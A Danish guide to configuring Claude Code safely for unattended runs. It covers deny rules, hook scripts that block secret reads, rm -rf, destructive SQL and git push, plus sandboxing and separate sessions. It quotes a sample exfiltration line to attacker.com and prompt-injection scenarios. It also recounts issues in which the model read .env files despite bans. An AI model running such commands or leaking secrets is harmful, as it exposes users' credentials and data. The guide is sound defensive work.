Sådan konfigurerer du Claude Code, så det ikke ødelægger dit projekt natten over

Hvad ændrer sig i 2026: autonom Claude Code og virkelige hændelser#

Tidligere stoppede Claude Code efter hvert svar og bad om tilladelse til hver eneste skrivning. Det var upraktisk, men sikkert: Du kunne fysisk ikke sove fra en hændelse, fordi agenten ventede på dit ”ja”. I 2026 brød den model sammen. Anthropic lancerede auto-mode—en separat klassifikationsagent beslutter på dine vegne, om hver handling skal tillades. Kommandoen /loop dukkede op (kører en prompt med intervaller i en session), og det samme gjorde /schedule (cron-lignende planlægning af langvarige opgaver). Baggrundssessioner startet med claude --bg kører agenten i baggrunden uden en terminal. Jeg gennemgik autonom tilstand i detaljer i guiden ”/goal i Claude Code: autonom tilstand og Agent View”.

Problemet er, at autonomien blev lanceret hurtigere, end sikkerheden kunne følge med.

Samtidig er der to åbne fejl i Anthropics repository, som du bør kende til, før du tilføjer permissions.deny til din settings.json:

• Issue #44868 (7. april 2026): Claude Code læser indholdet af .env via grep -n ind i chattransskriptionen på trods af et udtrykkeligt forbud i CLAUDE.md. Fejlen er åben.
• Issue #24846 (11. februar 2026): regler i permissions.read.deny for .env*-mønstre anvendes ikke—Read læser .env.local på trods af et korrekt deny-mønster. Lukket som en dublet, ikke rettet.

Disse to huller viser, hvorfor ét beskyttelseslag i settings.json er utilstrækkeligt. Herefter følger fire lag: tilladelser + hooks + sandbox + adskilte sessioner. Hvert kan mindske eksponeringen, men ingen gør de andre lag fuldstændige. Den citerede auto-mode-evaluering beviser ikke, at en regex-hook fanger dens oversete handlinger. Brug til produktion et isoleret OS-miljø uden produktionshemmeligheder eller skriveadgang, håndhæv netværksbegrænsninger uden for modellen, og test grænserne før en kørsel uden opsyn.

Hvad er de grønne og røde projektzoner?#

Det giver ingen mening at bygge den samme beskyttelse til alle projekter. Et lokalt hobbyprojekt på din maskine, som ikke er deployet eksternt, indebærer et helt andet risikoniveau end en tjeneste, der håndterer rigtige betalinger og opbevarer kundedata. Hvis du bruger den samme beskyttelse overalt, hæmmer du hastigheden i den grønne zone og efterlader stadig huller i den røde zone.

Et projekt skifter fra grønt til rødt, så snart mindst én af tre betingelser er opfyldt: aktive kunder dukker op, penge begynder at strømme gennem systemet, eller databasen indeholder persondata. Indtil da kan du bruge auto-mode, et minimum af hooks og ingen sandbox. Derefter skal beskyttelsen genopbygges efter den fulde opsætning i denne guide.

Hovedprincippet: beskyttelsesniveauet er knyttet til zonen. Udviklingsstadiet tæller ikke. Et hobbyprojekt på din maskine med en Stripe-testkonto er i den grønne zone. En tjeneste med én betalende kunde og en registreringsformular er allerede i den røde zone, selv hvis den stadig ligner et ”udkast”. At forveksle zonerne er en almindelig fælde i tidlige projekter: ”vi er stadig i udkastfasen, vi tilføjer beskyttelse senere”, og så betaler den første kunde i næste uge.

Hvordan fungerer tilladelseshierarkiet i settings.json?#

Anthropic beskriver hierarkiet for evaluering af tilladelser i sin officielle dokumentation: deny-regler kontrolleres først, derefter ask og så allow—den første matchende regel gælder. Det betyder, at deny altid har forrang frem for allow. Hvis du forbyder læsning af .env i ~/.claude/settings.json, og nogen angiver allow i projektets .claude/settings.json, gælder dit forbud, ikke deres tilladelse.

Eksempel på en minimal sikker ~/.claude/settings.json på brugerniveau:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Hvad sker der her? De første seks regler blokerer læsning af hemmelige filer i den aktuelle mappe og alle undermapper. *.pem og *.key er SSL/TLS-nøgler og SSH-nøgler. credentials*.json er et typisk filnavn, som cloududbydere bruger. De sidste tre er systemmapper med SSH-nøgler, AWS-legitimationsoplysninger og GPG-nøgler.

Nøglen disableBypassPermissionsMode: "disable" blokerer flaget --dangerously-skip-permissions (også kendt som YOLO-tilstand). Det fjerner én type fejl én gang for alle: Selv hvis du ved et uheld tilføjer flaget i et script eller alias, vil Claude Code afvise det. Det fjerner det ikke bare—det returnerer fejlen ”mode disabled by managed settings”.

Fra og med version 2.1.142 ignoreres nøglen defaultMode: "auto" desuden, hvis den står i projekt- eller lokale indstillinger. Det beskytter mod situationen ”jeg gik ind i en andens repository, og dens .claude/settings.json har automatisk tilstand slået til som standard”. Anthropic har udtrykkeligt sagt, at repositories ikke kan aktivere auto-mode uden brugerens samtykke.

Dette er den første forsvarslinje. Du kan ikke stoppe her, for den har to huller, som du lærer om i næste afsnit.

Vil du beskytte Claude Code mod uheld og samtidig forstå, hvordan du bygger en opsætning, der gør det forudsigeligt? Tilladelser er en del af konteksteknik: at styre de grænser, som agenten arbejder inden for. Den fulde opsætning omfatter alle tre søjler: AI-klon + anden hjerne + konteksteknik—kombinationen, Claude har brug for for at undgå hallucinationer eller at bruge for mange penge under autonomt arbejde.

Hvorfor er permissions.deny ikke nok: 2 åbne GitHub-issues#

Hvis permissions.deny virkede, kunne guiden være sluttet i forrige afsnit. Det gør den ikke.

Issue #44868 (7. april 2026): Brugeren tilføjede udtrykkeligt et forbud i CLAUDE.md mod at læse .env, .dev.vars og andre filer med hemmeligheder. I stedet for at bruge Read kørte Claude grep -n SOMETHING .env. Kommandoen grep -n udskriver hele den matchende linje med dens nummer—inklusive den faktiske API-token. Linjen ender i tool_result, vises i sessionstransskriptionen og gemmes i historikken.

Det subtile punkt, forfatteren fremhæver: Modellens sikkerhedsrefleks udløses, efter at outputtet allerede er produceret, ikke før kommandoen køres. Med andre ord kører Claude først grep, får en linje med tokenen og udskriver den i chatten—først derefter opdager den sin fejl og ”undskylder”. På det tidspunkt er tokenen allerede i chathistorikken. Den eneste løsning er at rotere nøglen.

Issue #24846 (11. februar 2026): Brugeren konfigurerede permissions.read.deny med en liste, der indeholdt mønstret **/.env*. Derefter bad brugeren Claude om at læse .env.local. Read-værktøjet blev kørt uden fejl og udskrev filens indhold.

Issuen blev lukket som en dublet, men ikke rettet. På det tidspunkt, hvor denne guide blev skrevet (juni 2026), kunne den stadig reproduceres.

Konklusion: Lag 1 i settings.json er ikke spildt arbejde, men eksemplerne måler ikke, hvilken andel af utilsigtede læsninger det forhindrer. Men det forhindrer ikke kommandoer via Bash (cat .env, grep API_KEY .env, head .env), håndhævelsesfejl (issue #24846) eller snedige kæder med git diff eller git show på en commit, der indeholder .env. Derfor har du brug for et andet lag—hooks.

Hvordan kan hooks blokere genkendte farlige handlinger?#

Hooks arbejder på et andet abstraktionsniveau end tilladelser. Tilladelser er regler, som modellen tager højde for, når den beslutter, hvad den skal gøre. En hook fungerer anderledes: Modellen beslutter at kalde et værktøj, hooken kører mellem modellen og systemet, kontrollerer inputtet og tillader eller blokerer det. Modellen deltager ikke i hookens beslutning—det er shell-kode, du selv skriver.

Anthropic beskriver blokeringsadfærden i sin officielle dokumentation om hooks:

Det betyder to ting. For det første kan en korrekt konfigureret blokerende hook afvise det matchende værktøjskald. For PreToolUse blokerer afslutningskode 2 dette kald; det beviser ikke, at scriptet genkender enhver farlig tilsvarende kommando. For det andet kan du skrive en meningsfuld besked til stderr, og Claude vil læse den som en fejl og prøve en anden tilgang. Med andre ord er en hook ikke bare et ”hegn”, men et ”hegn med et skilt, der forklarer, hvorfor du ikke kan komme forbi”.

Hændelser, der kan blokeres med afslutningskode 2:

• PreToolUse—blokerer værktøjskaldet før udførelse. Den primære hændelse for defensive hooks.
• PermissionRequest—afviser tilladelse til en handling, som Claude har bedt om tilladelse til at udføre.
• UserPromptSubmit—blokerer og sletter brugerens prompt. Nyttigt, hvis prompten indeholder mistænkelig tekst (for eksempel prompt injection fra en plantet e-mail).
• Stop—forhindrer Claude i at afslutte sessionen. Kan bruges som en ”loop” til at holde agenten i gang, indtil en betingelse er opfyldt.
• PreCompact—blokerer automatisk kontekstkomprimering. Nyttigt, hvis du vil bevare transskriptionen, indtil du træffer en manuel beslutning.
• WorktreeCreate—afviser oprettelse af en worktree. Beskyttelse mod, at Claude forsøger at klone et repository et uventet sted.

Et alternativ til afslutningskode 2 er at returnere JSON med feltet hookSpecificOutput.permissionDecision. permissionDecision har fire mulige værdier:

• allow—tillader handlingen udtrykkeligt og omgår det almindelige tilladelsesflow.
• deny—blokerer handlingen, svarende til afslutningskode 2 for PreToolUse.
• ask—eskalerer til brugeren (en dialog vises).
• defer—udskyder beslutningen til den almindelige tilladelseslogik.

Det giver en hook mere kontrol end en afslutningskode. Med permissionDecision: "ask" kan du gøre stille handlinger til handlinger, der kræver bekræftelse, uden at blokere dem helt. Det er det, jeg gør for npm install <new package> og ændringer i lockfilen.

Hvis du vil vide mere om, hvordan hooks fungerer, og hvilke 31 hændelser der i øjeblikket er tilgængelige i Claude Code, har jeg gennemgået det i en separat guide ”Hooks i Claude Code: 7 regler, der er klar til at blive kopieret”. Nu gennemgår jeg konkrete hooks til autonomt arbejde.

Hvilke 7 hooks bruger jeg til arbejde natten over?#

Dette er det andet beskyttelseslag, der dækker det første. Alle hooks placeres i .claude/hooks/, registreres via .claude/settings.json og kræver, at jq er installeret.

Hook 1: Beskyt .env, .pem og credentials.json mod læsning

Tilføjer kontroller for udvalgte Read-stier og almindelige Bash-kommandoer til læsning af hemmeligheder. Det fanger ikke ethvert værktøj eller enhver måde at læse en hemmelighed på. Fil: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Registrering i .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Kør chmod +x .claude/hooks/block-secret-reads.sh efter installationen. Test: Bed Claude om at læse .env.local—så får du svaret ”Secret file. Use op:// references or env vars.” i stedet for filens indhold.

Hook 2: Blokér direkte git push-kald i natlige sessioner

Til en session uden opsyn blokerer eksemplet forsigtigt alle direkte git push, det genkender, også pushes til featuregrene. Det forsøger ikke at udlede den aktuelle gren eller afgøre, om et force-flag er sikkert. Fil: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Registrér gennem PreToolUse med matcheren Bash. Fordi den blokerer den genkendte pushkommando frem for at parse flag og grennavne, fanger den git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main og et direkte push inde i en &&- eller ;-kæde. Det er offlineeksempler på tekstmatchning, ikke kommandoer, der skal køres mod et fjernrepository.

Det er stadig en tekstheuristik. Git-aliaser, shellfunktioner, git -C ... push, konstruerede kommandonavne, scripts og andre værktøjer kan omgå den; det er ikke en fuldstændig shellparser. Håndhæv beskyttede grene på Git-serveren, fjern legitimationsoplysninger, der kan omgå dem, og kør arbejde uden opsyn i et isoleret miljø uden produktionsskriveadgang. En overset hookmatch må ikke give produktionsbeføjelser.

Hook 3: Bloker destruktive SQL-handlinger

Retter sig direkte mod hændelser med slettede databaser. Fil: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Registrer: PreToolUse med matcher: "Bash". Bemærk forskellen: DROP og DELETE uden WHERE blokeres helt, mens UPDATE uden WHERE bliver til ask—det kan være legitimt nogle gange (for eksempel at sætte et flag på alle poster i en migration), men kræver altid manuel bekræftelse.

Hook 4: rm -rf-filter

Kanonisk eksempel fra Anthropics dokumentation, tilpasset til at afvise med en begrundelse:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Hooken tillader rm -rf node_modules, rm -rf .next/cache og andre sletninger med en udtrykkelig afgrænsning. Den blokerer rm -rf ., rm -rf /, rm -rf ~ og lignende kommandoer, der ”sletter alt”.

Hook 5: Bekræft installation af nye pakker

Denne hook modvirker angreb på forsyningskæden. Hvis Claude på egen hånd beslutter at tilføje en ny afhængighed, vises en dialog:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Hooken lader installationer fra en lockfil fortsætte frit, mens tilføjelse af en ny afhængighed kræver bekræftelse.

Hook 6: Beskyt package.json og lockfilen

Enhver ændring af et afhængighedsmanifest er et signal om, at nogen bør gennemgå det. Især natten over.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Registrer med PreToolUse og matcheren Write|Edit.

Hook 7: Ende-til-ende-revisionslog over alle Bash-kald

Hvis noget går galt natten over, har du brug for en komplet log til at forstå hændelsesforløbet. Registrer i settings.json (hooken har ikke et separat script; jq gør det hele):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Filen .claude/audit.jsonl vokser med én linje ad gangen. Om morgenen efter en natlig /loop kan du køre tail -n 100 .claude/audit.jsonl | jq og se, hvad agenten gjorde på hvert tidspunkt. Det er afgørende for en efterfølgende analyse, fordi sessionstransskriptionen kan være lang og svær at læse, mens revisionsloggen giver en klar tidslinje.

Hvordan beskytter sandbox og worktree-isolering lange sessioner?#

Hvis hooks er et ”hegn med et skilt”, er sandboxen et ”hegn + voldgrav + dronenet”. Det er det fjerde beskyttelseslag, som dækker situationer, hvor hooks lader en handling slippe igennem, men hvor selv udførelsen af handlingen ikke bør kunne forårsage skade uden for miljøet.

I sit blogindlæg om sandboxing (20. oktober 2025) rapporterer Anthropic interne målinger:

Det betyder, at når du aktiverer /sandbox, holder Claude op med at spørge om tilladelse til 84 % af handlingerne, fordi de fysisk ikke kan forlade sandboxen. Det er nyttigt for hastigheden, men det er ikke den primære værdi.

Sandboxen giver to niveauer af isolering, hvert med sin egen rolle:

Filsystemisolering begrænser læsning og skrivning til udtrykkeligt tilladte mapper. Selv hvis en hook overser et forsøg på at skrive til /etc/hosts eller læse ~/.ssh/id_rsa, lader sandboxen ikke systemkaldet gå igennem. Det er beskyttelse på operativsystemniveau. Applikationslaget kan ikke se den.

Netværksisolering tillader kun forbindelser til godkendte servere. Det er afgørende for angreb, der eksfiltrerer data. Scenarie: En prompt injection i en plantet fil narrer Claude til at læse .env (hooken overså det, fordi læsningen gik en usædvanlig vej), hvorefter modellen beslutter at køre curl -X POST attacker.com -d "$ENV_CONTENT". Uden netværksisolering virker det. Med netværksisolering kan curl ikke nå attacker.com, fordi værten ikke er på listen.

Start den med kommandoen /sandbox inde i Claude Code. Konfigurer den i ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Til lange baggrundssessioner startet med claude --bg skal du føje worktree-isolering til sandboxen. Det er en indbygget Claude Code-mekanisme: Hver baggrundssession flyttes automatisk til sin egen .claude/worktrees/<name>/ på en separat branch. Det betyder, at parallelle sessioner ikke kommer i vejen for hinanden, når de skriver til de samme filer. Jeg gennemgik worktree-isolering i detaljer i guiden ”Agent View og worktrees: Claude Codes autonome tilstand”.

Sandbox er en del af feedbacksløjfen. Når Claude ved, at dets handlinger er begrænsede, arbejder den mere omhyggeligt og beskriver sine mellemliggende trin tydeligere.

Hvor fungerer auto-mode i 2026, og hvor gør det ikke?#

I marts 2026 lancerede Anthropic auto-mode som ”en mellemvej mellem manuel gennemgang og ingen sikkerhedsforanstaltninger”. Det er en separat Sonnet 4.6-model, der evaluerer hver Claude-handling efter et sæt kriterier før udførelse. Anthropic beskrev mekanikken i Anthropic Engineering-bloggen:

Auto-mode har to vigtige begrænsninger:

• Hvis en session samler 3 klassifikatorafvisninger i træk eller 20 i alt, stopper modellen og eskalerer til et menneske. Det beskytter mod en situation, hvor ”Claude går i loop og prøver at omgå en begrænsning med 100 forskellige formuleringer af den samme kommando”.
• Auto-mode tillader en handling, hvis den ligner 93 % af de typiske tilfælde, som brugere alligevel godkender. Det reducerer tilladelsestræthed, men beskytter ikke mod atypiske farlige handlinger.

Og her er det vigtigste tal at lægge mærke til:

De rapporterede 17% er en falsk-negativ-rate i denne evaluering, ikke en sandsynlighed for enhver handling i dit projekt. Det dokumenterer ikke, at eksempelhookene fanger de oversete handlinger. I den røde zone kræver arbejde uden opsyn håndhævet isolering fra produktionsskrivning og hemmeligheder samt beskyttede grene på serveren og legitimationsoplysninger, der ikke kan omgå reglerne.

Praktisk konklusion: Brug hooks som yderligere kontroller i et miljø, der kan kasseres og gendannes. Selv et lokalt projekt kan indeholde usporede filer eller legitimationsoplysninger, som Git ikke kan gendanne. I den røde zone skal en overset hookmatch begrænses af faktisk adgangskontrol; en samling regexer gør ikke vilkårlig shelludførelse til en deterministisk sikkerhedsgaranti.

Hvorfor opdele konteksterne i tre sessionstyper?#

Tre typer opgaver bør aldrig være i den samme session:

Type 1: arbejde med persondata. Sessionen har adgang til produktionsdatabasen, kan sende e-mail og kan se legitimationsoplysninger. Den har IKKE adgang til eksterne dokumenter (e-mails, PDF'er, websider) og KAN IKKE sende data til vilkårlige adresser.

Type 2: behandling af eksterne dokumenter. Sessionen kan analysere indgående e-mails, downloade websider og læse PDF'er fra e-mail. Den har IKKE adgang til en database med persondata og KAN IKKE sende noget eksternt uden udtrykkelig bekræftelse.

Type 3: ekstern publicering. Sessionen kan slå op på sociale netværk, sende e-mailkampagner og oprette pull requests. Den har IKKE adgang til persondata og analyserer IKKE indgående indhold.

Hvorfor adskille dem? Hvis én session gør alt, er én prompt injection i en plantet PDF (et konkurrerende bureau sendte en ”faktura”) nok til, at agenten i ét hug læser din kundedatabase, finder deres e-mailadresser og sender dem til en angribers adresse. Hver handling i kæden er legitim for sin egen opgavetype. Tilsammen er det et læk.

I praksis implementeres dette med forskellige .claude-mapper til forskellige opgavetyper. Jeg har tre konfigurationer på min maskine: ~/projects/business-ops/.claude/ (type 1, databaseadgang, netværk nægtet undtagen til interne API'er), ~/projects/inbox-parsing/.claude/ (type 2, alt netværk nægtet), ~/projects/social-posting/.claude/ (type 3, netværk tilladt til Telegram- og Slack-API'er). Hver mappe er et separat projekt for Claude Code med egne tilladelser og hooks.

Hvilke 12 punkter gennemgår jeg før /loop?#

1. ~/.claude/settings.json med deny på brugerniveau for .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. Dette er fundamentet; resten er meningsløst uden det.

2. disableBypassPermissionsMode: "disable" i ~/.claude/settings.json. Blokerer YOLO-flaget én gang for alle.

3. Eksemplerne i block-secret-reads.sh er testet på udvalgte kommandoer til hemmelighedslæsning; rigtige hemmeligheder og produktionslegitimationsoplysninger er utilgængelige for miljøet uden opsyn.

4. Eksemplet block-force-push.sh blokerer genkendte direkte pushes uanset flagrækkefølge eller destination; beskyttede grene og legitimationsoplysninger uden omgåelsesret håndhæves af Git-serveren.

5. Hooken block-destructive-sql.sh til DROP TABLE, TRUNCATE og DELETE FROM uden WHERE.

6. Hooken block-rm-rf.sh til rm -rf uden udtrykkelig afgrænsning.

7. Hooken ask-on-new-deps.sh til npm install <new package> (adskilt fra npm install uden argumenter).

8. Hooken ask-on-lockfile-change.sh til skrivninger til package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml og Cargo.toml.

9. En catch-all audit.jsonl-log for alle Bash-, Write- og Edit-kald. Uden den er efteranalyse umulig.

10. Alle lange baggrundssessioner kører i en worktree, ikke på main-branchen: claude --bg "task" opretter automatisk en worktree, men kontrollér, at settings.json ikke indeholder worktree.bgIsolation: "none".

11. /sandbox før start af en lang autonom opgave. Filsystemet er begrænset til projektmappen og /tmp. Netværket bruger en tilladelsesliste med api.anthropic.com, github.com og registry.npmjs.org.

12. Et verificeringstrin i opgaven: Efter hver større ændring køres test runneren eller linteren. Hvis de fejler, fortsætter agenten ikke, før de er rettet.

Det sidste punkt er et arbejdsmønster, ikke en værktøjsindstilling. Giv Claude en måde at kontrollere sit arbejde på. Uden verificering kører en agent natten over i loop med ”jeg tror, jeg gjorde det rigtigt, jeg går videre” og ophober fejl indtil morgen. Med verificering fortsætter den ikke, før kontrollen består.

7 anti-mønstre: hvad du IKKE skal gøre#

1. --dangerously-skip-permissions på en værtsmaskine med produktionsadgang. Browningstreet mistede produktions- og udviklingsdatabaserne med én enkelt ”ryd op”-kommando. Prisen for en fejl er timevis af gendannelse plus data, der ikke findes i sikkerhedskopien. Hvis en hændelse allerede er sket, så åbn ”Hvad gør du, hvis AI har slettet en database: tjekliste til gendannelse” og følg de 10 trin i rækkefølge.

2. Kun at stole på CLAUDE.md til sikkerhed. Issue #44868 viste, at modellen handler først og undskylder bagefter. En vejledende instruktion i en tekstfil blokerer ikke et værktøjskald. En korrekt konfigureret hook kan blokere matchende kald, mens OS-, sandbox- og tjenestesidens adgangskontroller håndhæver bredere grænser. CLAUDE.md er vigtig for projektkonteksten—jeg har skrevet om den separat i ”Sådan konfigurerer du CLAUDE.md korrekt”—men den beskytter dig ikke mod en autonom agent.

3. Kun at stole på permissions.deny i settings.json uden en hook ovenpå. Issue #24846 har været åben siden februar 2026. Deny for .env* kan omgås via grep i Bash. En hook kan tilføje kontroller, men hemmeligheder skal også udelukkes fra miljøet uden opsyn; en regex er ikke en fuldstændig erstatning for adgangskontrol.

4. At behandle auto-mode plus regex-hooks som produktionsisolering. Den citerede falsk-negativ-rate gælder den konkrete evaluering, og hookdækningen er ufuldstændig. Fjern produktionsskrivelegitimationsoplysninger, og verificér den håndhævede grænse frem for at antage, at enhver farlig handling bliver fanget.

5. At installere en ny pakke med npm install uden bekræftelse. Angreb på forsyningskæden er virkelige. Tea-tags-hændelser i 2024–2026 viste, at typosquattede pakker med tusindvis af downloads findes. Du har brug for en tilladelsesliste.

6. Ikke at logge Bash-kald. Uden en revisionslog kan du ikke forstå, hvad der skete natten over. Chattransskriptionen er lang, indekseres ikke efter kommando og giver ingen tidslinje. .claude/audit.jsonl løser begge problemer.

7. Ikke at bruge en worktree til baggrundssessioner. Parallelle sessioner i samme mappe kommer i vejen for hinandens arbejde. Claude Code har worktree.bgIsolation, slået til som standard siden version 2.1.143, men kontrollér dine indstillinger.

Og den vigtigste ting, som ingen hook eller indstilling kan forhindre:

Den formulering handler ikke om stil. Den person, der er ansvarlig for produktionsbeskyttelsen, er den, der startede agenten. Claude Code fungerer som en barberkniv: Du kan barbere dig med den, og du kan skære dig på den. Konfigurationen besvarer ét spørgsmål: Har du forberedt miljøet godt nok til, at barberkniven ikke skærer i noget, den ikke burde?

Opsætning før hændelser er en del af konteksteknik: Du begrænser på forhånd, hvad agenten kan gøre, og frigør den dermed til at gøre det, du ønsker, den skal gøre. Det fulde kontekstworkflow: AI-klon + anden hjerne + konteksteknik.

Flere ressourcer findes på Ailoot.